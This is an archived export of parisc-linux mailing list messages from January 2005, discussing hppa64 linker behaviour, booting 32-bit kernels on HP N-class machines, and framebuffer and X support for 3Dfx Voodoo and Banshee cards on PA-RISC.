parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--===============1351788597==--



From - Thu Nov 08 21:32:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: NETFILTER_DEBUG break b2k 64bits (at least)[Wa
Date: Fri, 7 Jan 2005 19:35:01 -0500 (EST)
Lines: 33
Approved: news@gmane.org
Message-ID: <200501080035.j080Z1kK012011@hiauly1.hia.nrc.ca>
References: <20050107162609.GA7883@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623642 12221 80.91.229.3 (22 Nov 2014 02:34:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:02 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: grundler@parisc-linux.org (Grant Grundler)
Original-X-From: - Wed Jul 02 21:27:16 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 08 Jan 2005 00:35:47 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx022) with SMTP; 08 Jan 2005 01:35:47 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id EB5253BE6B; Fri,  7 Jan 2005 17:35:45 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13891-05; Fri, 7 Jan 2005 17:35:38 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id B2B9A3BE70; Fri,  7 Jan 2005 17:35:11 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0E2A33BE6B
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  7 Jan 2005 17:35:04 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 13891-02 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 7 Jan 2005 17:35:04 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id DC0C13BE57
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  7 Jan 2005 17:35:03 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j080Z2D2012013; Fri, 7 Jan 2005 19:35:02 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j080Z1kK012011;
	Fri, 7 Jan 2005 19:35:01 -0500 (EST)
In-Reply-To: <20050107162609.GA7883@colo.lackof.org> from "Grant Grundler" at
	Jan 7, 2005 11:26:09 am
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22261

> On Fri, Jan 07, 2005 at 03:11:19PM +0100, Joel Soete wrote:
> > In fact I always hesitate to use this 64 compiler because of this report:
> >
> <http://lists.parisc-linux.org/pipermail/parisc-linux/2004-February/022335.h
> tml>
> > 
> > but never read it was fixed?
> 
> gcc-3.3-hppa64 has been updated 13 times since initial release.
> I expect a "changes" file exists to describe what
> each update brings. But I don't expect the change log to get posted
> to p-l mailing list for every package that gets updated.

As far as I know, the problem hasn't been fixed in GCC.  OPD generation
is done by the linker and dynamic linker.  There is a discussion here
<http://lists.parisc-linux.org/hypermail/parisc-linux/1723.html>.

Note that the hppa64 linker always creates dynamic binaries intended
to be loaded by a dynamic loader.  It doesn't know how to create a
fully static binary.  I don't fully understand the ins and outs of
how this is being handled with 64-bit kernels but I suspect that this
is why there are duplicates.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: NETFILTER_DEBUG break b2k 64bits (at least)[Wa
Date: Sat, 08 Jan 2005 15:55:49 +0000
Lines: 22
Approved: news@gmane.org
Message-ID: <41E00285.5020302@tiscali.be>
References: <200501080035.j080Z1kK012011@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623642 12222 80.91.229.3 (22 Nov 2014 02:34:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:02 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:16 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 08 Jan 2005 15:56:45 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx064) with SMTP; 08 Jan 2005 16:56:45 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 43E783BE6B; Sat,  8 Jan 2005 08:56:42 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22458-08; Sat, 8 Jan 2005 08:56:25 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id A3CAC3BE70; Sat,  8 Jan 2005 08:55:58 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 547873BE6B
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  8 Jan 2005 08:55:55 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 22458-05 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 8 Jan 2005 08:55:54 -0700 (MST)
Original-Received: from spoolo2.tiscali.be (spoolo2.tiscali.be [62.235.13.173])
	by free.linux.hp.com (Postfix) with ESMTP id 2B2573BE57
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  8 Jan 2005 08:55:54 -0700 (MST)
Original-Received: from [83.134.228.230] (helo=[83.134.228.230])
	by spoolo2.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1CnIvR-0003o4-PC; Sat, 08 Jan 2005 16:54:50 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.3) Gecko/20041007 Debian/1.7.3-5
X-Accept-Language: en
In-Reply-To: <200501080035.j080Z1kK012011@hiauly1.hia.nrc.ca>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22262



John David Anglin wrote:
[...]
> 
> Note that the hppa64 linker always creates dynamic binaries intended
> to be loaded by a dynamic loader.  It doesn't know how to create a
> fully static binary.  I don't fully understand the ins and outs of
> how this is being handled with 64-bit kernels but I suspect that this
> is why there are duplicates.
> 
My pb is that the only smp system I can test is a N4k model which have afaik a pdc that can only boot a 64bit kernel.
Is there some alternate to boot a 32bit kernel on this kind (A, L, N, ...) system?

Thanks for info,
	Joel
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jyry Suuntala <jyry@helzinki.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Banshee and Voodoo2
Date: Sat, 8 Jan 2005 19:26:26 +0200 (EET)
Lines: 23
Approved: news@gmane.org
Message-ID: <Pine.BSO.4.61.0501081917230.2715@gate.helzinki.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN;
  charset=US-ASCII;
  format=flowed
X-Trace: ger.gmane.org 1416623642 12225 80.91.229.3 (22 Nov 2014 02:34:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:02 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:16 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 08 Jan 2005 17:27:09 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx009) with SMTP; 08 Jan 2005 18:27:09 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 08D393BE73; Sat,  8 Jan 2005 10:26:56 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24207-03; Sat, 8 Jan 2005 10:26:53 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 99C373BE72; Sat,  8 Jan 2005 10:26:32 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B32F13BE70
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  8 Jan 2005 10:26:27 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 22695-10 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 8 Jan 2005 10:26:27 -0700 (MST)
Original-Received: from smtp.netsonic.fi (smtp.netsonic.fi [194.29.192.26])
	by free.linux.hp.com (Postfix) with ESMTP id 93B493BE6F
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  8 Jan 2005 10:26:26 -0700 (MST)
Original-Received: from gate.helzinki.net (gate.helzinki.net [81.17.198.221])
	by smtp.netsonic.fi (Postfix) with ESMTP id 7F7191F8048
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  8 Jan 2005 19:26:25 +0200 (EET)
Original-Received: from gate.helzinki.net (jyry@gate.helzinki.net [81.17.198.221])
	by gate.helzinki.net (8.13.0/8.13.0) with ESMTP id j08HQQ2T015393
	(version=TLSv1/SSLv3 cipher=DHE-DSS-AES256-SHA bits=256 verify=NO)
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 8 Jan 2005 19:26:26 +0200 (EET)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22263

Hello everyone,

I have a HP C360 lying around with HP-SUX installed on it. Due to its loud 
fans, I didn't want to keep it on so I forgot about it. I believe I've 
read everything I can about running linux on hppa. In
http://hwdb.parisc-linux.org/view.php?type=pcimenu I found 3Dfx Banshee 
and Voodoo2 cards, which I have.

Does anyone know is this list the actual list of supported hardware? If 
so, does X work with Banshee and at what resolution? And the same 
questions apply for Voodoo2, too :)

p.s. any news on Visualize-FX4?

--
Jyry Suuntala 
<jyry@helzinki.net>
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Banshee and Voodoo2
Date: Sat, 8 Jan 2005 20:33:33 +0100
Lines: 19
Approved: news@gmane.org
Message-ID: <200501082033.33830.deller@gmx.de>
References: <Pine.BSO.4.61.0501081917230.2715@gate.helzinki.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623643 12228 80.91.229.3 (22 Nov 2014 02:34:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:03 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:16 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 08 Jan 2005 19:34:08 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx049) with SMTP; 08 Jan 2005 20:34:08 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id D03533BE77; Sat,  8 Jan 2005 12:34:05 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25079-03; Sat, 8 Jan 2005 12:34:05 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id AEF303BE74; Sat,  8 Jan 2005 12:33:45 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7014F3BE71
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  8 Jan 2005 12:33:41 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 24851-06 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 8 Jan 2005 12:33:40 -0700 (MST)
Original-Received: from mail.gmx.net (pop.gmx.de [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id 8636B3BD42
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  8 Jan 2005 12:33:39 -0700 (MST)
Original-Received: (qmail invoked by alias); 08 Jan 2005 19:33:37 -0000
Original-Received: from pD9FE77D4.dip.t-dialin.net (EHLO p100) (217.254.119.212)
	by mail.gmx.net (mp009) with SMTP; 08 Jan 2005 20:33:37 +0100
X-Authenticated: #1045983
User-Agent: KMail/1.7.91
In-Reply-To: <Pine.BSO.4.61.0501081917230.2715@gate.helzinki.net>
X-Face: *4/{KL3=jWs!v\UO#3e7~Vb1~CL@oP'~|*/M$!9`tb2[;
	fY@)WscF2iV7`,a$141g'o,=?utf-8?q?7X=0A=09=3FBt1Wb=3AL7K6z-?=<?-+-13|S_ixrq58*E`)ZkSe~NSI?u=89G'J<n]7\?[)LCCBZc}~[j(=?utf-8?q?e=7D=0A=09=60-QV=7B=23=25=26=5B=3F=5EfAke6t8QbP=3Bb=27XB?=,ZU84HeThMrO(@/K.`jxq9P({V(AzezCKMxk\F2^p^+"=?utf-8?q?=0A=09=5B?="ppalbA!zy-l)^Qa3*u/Z-1W3,o?2fes2_d\u=1\E9N+~Qo
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22264

On Saturday 08 January 2005 18:26, Jyry Suuntala wrote:
> Does anyone know is this list the actual list of supported hardware? If 
> so, does X work with Banshee and at what resolution? And the same 
> questions apply for Voodoo2, too :)

Vodoo2: 800x600x16bpp (1024x768x16bpp worked unreliable for me)
No idea about Banshee.

> p.s. any news on Visualize-FX4?

Not as I know... :-(

Helge
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Banshee and Voodoo2
Date: Sat, 8 Jan 2005 15:35:06 -0500
Lines: 19
Approved: news@gmane.org
Message-ID: <20050108203506.GB22378@localhost.localdomain>
References: <Pine.BSO.4.61.0501081917230.2715@gate.helzinki.net> <200501082033.33830.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623643 12231 80.91.229.3 (22 Nov 2014 02:34:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:03 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: - Wed Jul 02 21:27:16 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <kyle@engsoc.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 08 Jan 2005 20:35:46 -0000
Original-Received: from stout.engsoc.carleton.ca (EHLO stout.engsoc.org) (134.117.69.22)
  by mx0.gmx.net (mx060) with SMTP; 08 Jan 2005 21:35:46 +0100
Original-Received: from lager.engsoc.carleton.ca (lager.engsoc.carleton.ca [134.117.69.26])
	by stout.engsoc.org (8.12.3/8.12.3/Debian-7.1) with ESMTP id j08KZkJ2014785;
	Sat, 8 Jan 2005 15:35:46 -0500
Original-Received: from kyle by lager.engsoc.carleton.ca with local (Exim 3.36 #1 (Debian))
	id 1CnN8q-0003Mj-00; Sat, 08 Jan 2005 15:24:56 -0500
Content-Disposition: inline
In-Reply-To: <200501082033.33830.deller@gmx.de>
User-Agent: Mutt/1.5.6+20040907i
Original-Sender: Kyle McMartin <kyle@engsoc.org>
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22265

On Sat, Jan 08, 2005 at 08:33:33PM +0100, Helge Deller wrote:
> > p.s. any news on Visualize-FX4?
> 
> Not as I know... :-(
> 

I've been working on a driver, based on the register list in the
x86 AGP driver, and some hints I got from the author of that driver. However,
as of yet, I've had no luck. Though, that's likely because it's taken
me quite a bit of time to become familiar with how the framebuffer
interfaces work.

The goal is a 24bpp raw, unaccelerated framebuffer... I'd be happy with
better, but I don't have enough information for that.

Cheers,
	Kyle



From - Thu Nov 08 21:32:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Banshee and Voodoo2
Date: Sat, 08 Jan 2005 21:47:09 +0000
Lines: 24
Approved: news@gmane.org
Message-ID: <1105216425.10519.68.camel@localhost.localdomain>
References: <Pine.BSO.4.61.0501081917230.2715@gate.helzinki.net>
	 <200501082033.33830.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623643 12233 80.91.229.3 (22 Nov 2014 02:34:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:03 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: - Wed Jul 02 21:27:16 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <alan@lxorguk.ukuu.org.uk>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 08 Jan 2005 22:51:20 -0000
Original-Received: from clock-tower.bc.nu (EHLO localhost.localdomain) (81.2.110.250)
  by mx0.gmx.net (mx061) with SMTP; 08 Jan 2005 23:51:20 +0100
Original-Received: from localhost.localdomain (localhost.localdomain [127.0.0.1])
	by localhost.localdomain (8.12.11/8.12.11) with ESMTP id j08LlBvK011796;
	Sat, 8 Jan 2005 21:47:11 GMT
Original-Received: (from alan@localhost)
	by localhost.localdomain (8.12.11/8.12.11/Submit) id j08LlADq011795;
	Sat, 8 Jan 2005 21:47:11 GMT
X-Authentication-Warning: localhost.localdomain: alan set sender to alan@lxorguk.ukuu.org.uk using -f
In-Reply-To: <200501082033.33830.deller@gmx.de>
X-Mailer: Ximian Evolution 1.4.6 (1.4.6-2) 
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Sender is in whitelist: alan@lxorguk.ukuu.org.uk)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22266

On Sad, 2005-01-08 at 19:33, Helge Deller wrote:
> On Saturday 08 January 2005 18:26, Jyry Suuntala wrote:
> > Does anyone know is this list the actual list of supported hardware? If 
> > so, does X work with Banshee and at what resolution? And the same 
> > questions apply for Voodoo2, too :)
> 
> Vodoo2: 800x600x16bpp (1024x768x16bpp worked unreliable for me)
> No idea about Banshee.

I test it at 1024x768 on a PC. With the current XOrg the voodoo driver
limits are:

Voodoo1: 800x600x16bpp unaccelerated but pretty decent ram bandwidth so
its not bad. I think for 2D with some violence you could do 1024x768 but
it would be right on the DAC limits

Voodoo2: 1024x768x16bpp accelerated (including render acceleration). 

We have enough info to do full DRI for the Voodoo2 but nobody has been
sufficiently drunk to volunteer.

Alan



From - Thu Nov 08 21:32:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <T-Bone@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Interrupt handling documentation and wiki access
Date: Sun, 9 Jan 2005 14:57:08 +0100
Organization: ESIEE
Lines: 52
Approved: news@gmane.org
Message-ID: <20050109145708.04d6cd87@Tatooine.r3z0>
References: <20050108203303.GG27371@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623644 12236 80.91.229.3 (22 Nov 2014 02:34:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:04 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:16 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 09 Jan 2005 13:58:04 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx065) with SMTP; 09 Jan 2005 14:58:04 +0100
Original-Received: from localhost (localhost [127.0.0.1])
